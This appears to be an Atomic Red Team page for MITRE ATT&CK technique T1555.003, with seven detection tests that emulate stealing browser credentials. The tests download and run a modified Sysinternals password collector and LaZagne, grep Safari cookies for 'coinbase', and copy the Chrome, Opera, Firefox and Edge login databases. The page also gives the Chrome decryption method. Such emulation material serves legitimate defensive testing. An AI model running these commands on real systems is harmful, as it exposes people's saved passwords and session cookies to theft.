# T1555.003 - Credentials from Web Browsers
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1555/003)
<blockquote>Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\Local\Google\Chrome\User Data\Default\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)
 
Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).</blockquote>

## Atomic Tests

- [Atomic Test #1 - Run Chrome-password Collector](#atomic-test-1---run-chrome-password-collector)

- [Atomic Test #2 - Search macOS Safari Cookies](#atomic-test-2---search-macos-safari-cookies)

- [Atomic Test #3 - LaZagne - Credentials from Browser](#atomic-test-3---lazagne---credentials-from-browser)

- [Atomic Test #4 - Simulating access to Chrome Login Data](#atomic-test-4---simulating-access-to-chrome-login-data)

- [Atomic Test #5 - Simulating access to Opera Login Data](#atomic-test-5---simulating-access-to-opera-login-data)

- [Atomic Test #6 - Simulating access to Windows Firefox Login Data](#atomic-test-6---simulating-access-to-windows-firefox-login-data)

- [Atomic Test #7 - Simulating access to Windows Edge Login Data](#atomic-test-7---simulating-access-to-windows-edge-login-data)


<br/>

## Atomic Test #1 - Run Chrome-password Collector
A modified sysinternals suite will be downloaded and staged. The Chrome-password collector, renamed accesschk.exe, will then be executed from #{file_path}.

Successful execution will produce stdout message stating "Copying db ... passwordsDB DB Opened. statement prepare DB connection closed properly". Upon completion, final output will be a file modification of $env:TEMP\sysinternals\passwordsdb.

Adapted from [MITRE ATTACK Evals](https://github.com/mitre-attack/attack-arsenal/blob/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/data/abilities/credential-access/e7cab9bb-3e3a-4d93-99cc-3593c1dc8c6d.yml)

**Supported Platforms:** Windows


**auto_generated_guid:** 8c05b133-d438-47ca-a630-19cc464c4622





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| file_path | File path for modified Sysinternals | String | $env:TEMP|


#### Attack Commands: Run with `powershell`! 


```powershell
Set-Location -path "#{file_path}\Sysinternals";
./accesschk.exe -accepteula .;
```

#### Cleanup Commands:
```powershell
Remove-Item #{file_path}\Sysinternals -Force -Recurse -ErrorAction Ignore
```



#### Dependencies:  Run with `powershell`!
##### Description: Modified Sysinternals must be located at #{file_path}
##### Check Prereq Commands:
```powershell
if (Test-Path #{file_path}\SysInternals) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip"
Expand-Archive #{file_path}\Modified-SysInternalsSuite.zip #{file_path}\sysinternals -Force
Remove-Item #{file_path}\Modified-SysInternalsSuite.zip -Force
```




<br/>
<br/>

## Atomic Test #2 - Search macOS Safari Cookies
This test uses `grep` to search a macOS Safari binaryCookies file for specified values. This was used by CookieMiner malware.

Upon successful execution, MacOS shell will cd to `~/Libraries/Cookies` and grep for `Cookies.binarycookies`.

**Supported Platforms:** macOS


**auto_generated_guid:** c1402f7b-67ca-43a8-b5f3-3143abedc01b





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| search_string | String to search Safari cookies to find. | String | coinbase|


#### Attack Commands: Run with `sh`! 


```sh
cd ~/Library/Cookies
grep -q "#{search_string}" "Cookies.binarycookies"
```






<br/>
<br/>

## Atomic Test #3 - LaZagne - Credentials from Browser
The following Atomic test utilizes [LaZagne](https://github.com/AlessandroZ/LaZagne) to extract passwords from browsers on the Windows operating system.
LaZagne is an open source application used to retrieve passwords stored on a local computer.

**Supported Platforms:** Windows


**auto_generated_guid:** 9a2915b3-3954-4cce-8c76-00fbf4dbd014





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| lazagne_path | Path to LaZagne | Path | PathToAtomicsFolder&#92;T1555.003&#92;bin&#92;LaZagne.exe|


#### Attack Commands: Run with `command_prompt`!  Elevation Required (e.g. root or admin) 


```cmd
#{lazagne_path} browsers
```




#### Dependencies:  Run with `powershell`!
##### Description: LaZagne.exe must exist on disk at specified location (#{lazagne_path})
##### Check Prereq Commands:
```powershell
if (Test-Path #{lazagne_path}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory (split-path #{lazagne_path}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe" -OutFile "#{lazagne_path}"
```




<br/>
<br/>

## Atomic Test #4 - Simulating access to Chrome Login Data
Simulates an adversary accessing encrypted credentials from Google Chrome Login database.

**Supported Platforms:** Windows


**auto_generated_guid:** 3d111226-d09a-4911-8715-fe11664f960d






#### Attack Commands: Run with `powershell`! 


```powershell
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" -Destination $env:temp
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data For Account" -Destination $env:temp
```

#### Cleanup Commands:
```powershell
Remove-Item -Path "$env:temp\Login Data" -Force -ErrorAction Ignore
Remove-Item -Path "$env:temp\Login Data For Account" -Force -ErrorAction Ignore
```



#### Dependencies:  Run with `powershell`!
##### Description: Chrome must be installed
##### Check Prereq Commands:
```powershell
if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe")) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
$installer = "$env:temp\ChromeStandaloneSetup64.msi"
Invoke-WebRequest -OutFile $env:temp\ChromeStandaloneSetup64.msi https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi
msiexec /i $installer /qn
Start-Process -FilePath "chrome.exe"
Stop-Process -Name "chrome"
```




<br/>
<br/>

## Atomic Test #5 - Simulating access to Opera Login Data
Simulates an adversary accessing encrypted credentials from Opera web browser's login database.

**Supported Platforms:** Windows


**auto_generated_guid:** 28498c17-57e4-495a-b0be-cc1e36de408b






#### Attack Commands: Run with `powershell`! 


```powershell
Copy-Item "$env:APPDATA\Opera Software\Opera Stable\Login Data" -Destination $env:temp
```

#### Cleanup Commands:
```powershell
Remove-Item -Path "$env:temp\Login Data" -Force -ErrorAction Ignore
```



#### Dependencies:  Run with `powershell`!
##### Description: Opera must be installed
##### Check Prereq Commands:
```powershell
if (((Test-Path "$env:LOCALAPPDATA\Programs\Opera\launcher.exe") -Or (Test-Path "C:\Program Files\Opera\launcher.exe") -Or (Test-Path "C:\Program Files (x86)\Opera\launcher.exe"))) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
$installer = "$env:temp\OperaStandaloneInstaller.exe"
Invoke-WebRequest -OutFile $env:temp\OperaStandaloneInstaller.exe https://get.geo.opera.com/pub/opera/desktop/82.0.4227.43/win/Opera_82.0.4227.43_Setup.exe
Start-Process $installer -ArgumentList '/install /silent /launchopera=1 /setdefaultbrowser=0'
Start-Sleep -s 180
Stop-Process -Name "opera"
```
##### Description: Opera login data file must exist
##### Check Prereq Commands:
```powershell
if (Test-Path "$env:APPDATA\Opera Software\Opera Stable\Login Data") {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Path "$env:APPDATA\Opera Software\Opera Stable\Login Data" -ItemType File
```




<br/>
<br/>

## Atomic Test #6 - Simulating access to Windows Firefox Login Data
Simulates an adversary accessing encrypted credentials from firefox web browser's login database.
more info in https://support.mozilla.org/en-US/kb/profiles-where-firefox-stores-user-data

**Supported Platforms:** Windows


**auto_generated_guid:** eb8da98a-2e16-4551-b3dd-83de49baa14c






#### Attack Commands: Run with `powershell`! 


```powershell
Copy-Item "$env:APPDATA\Mozilla\Firefox\Profiles\" -Destination $env:temp -Force -Recurse
```

#### Cleanup Commands:
```powershell
Remove-Item -Path "$env:temp\Profiles" -Force -ErrorAction Ignore -Recurse
```



#### Dependencies:  Run with `powershell`!
##### Description: Firefox must be installed
##### Check Prereq Commands:
```powershell
if ((Test-Path "C:\Program Files\Mozilla Firefox\firefox.exe") -Or (Test-Path "C:\Program Files (x86)\Mozilla Firefox\firefox.exe")) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
if ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$url="https://download.mozilla.org/?product=firefox-latest-ssl&os=win64&lang=en-US"}else {$url="https://download.mozilla.org/?product=firefox-latest-ssl&os=win&lang=en-US"}
$installer = "$env:temp\firefoxsetup.exe"
(New-Object Net.WebClient).DownloadFile($url,$installer)
Start-Process $installer -ArgumentList '/S' -Wait
```
##### Description: Firefox login data file must exist
##### Check Prereq Commands:
```powershell
if (Test-Path "$env:APPDATA\Mozilla\Firefox\Profiles\") {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
if ($env:PROCESSOR_ARCHITECTURE -eq 'AMD64') {$firefox="C:\Program Files\Mozilla Firefox\firefox.exe"}else {$firefox="C:\Program Files (x86)\Mozilla Firefox\firefox.exe"}
Start-Process $firefox -ArgumentList '-CreateProfile Atomic' -Wait
Start-Process $firefox -NoNewWindow
Start-Sleep -s 20
Stop-Process -Name firefox
```




<br/>
<br/>

## Atomic Test #7 - Simulating access to Windows Edge Login Data
Simulates an adversary accessing encrypted credentials from Edge web browser's login database.
more info in https://www.forensicfocus.com/articles/chromium-based-microsoft-edge-from-a-forensic-point-of-view/

**Supported Platforms:** Windows


**auto_generated_guid:** a6a5ec26-a2d1-4109-9d35-58b867689329






#### Attack Commands: Run with `powershell`! 


```powershell
Copy-Item "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default" -Destination $env:temp\Edge -Force -Recurse
```

#### Cleanup Commands:
```powershell
Remove-Item -Path "$env:temp\Edge" -Force -ErrorAction Ignore -Recurse
```



#### Dependencies:  Run with `powershell`!
##### Description: Edge must be installed
##### Check Prereq Commands:
```powershell
if (Test-Path "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe") {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
"Installation is not implemented as Edge is a part of windows"
```
##### Description: Edge login data file must exist
##### Check Prereq Commands:
```powershell
if (Test-Path "$env:LOCALAPPDATA\Microsoft\Edge\User Data\Default") {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
$edge="C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
Start-Process $edge 
Start-Sleep -s 20
Stop-Process -Name msedge
```




<br/>
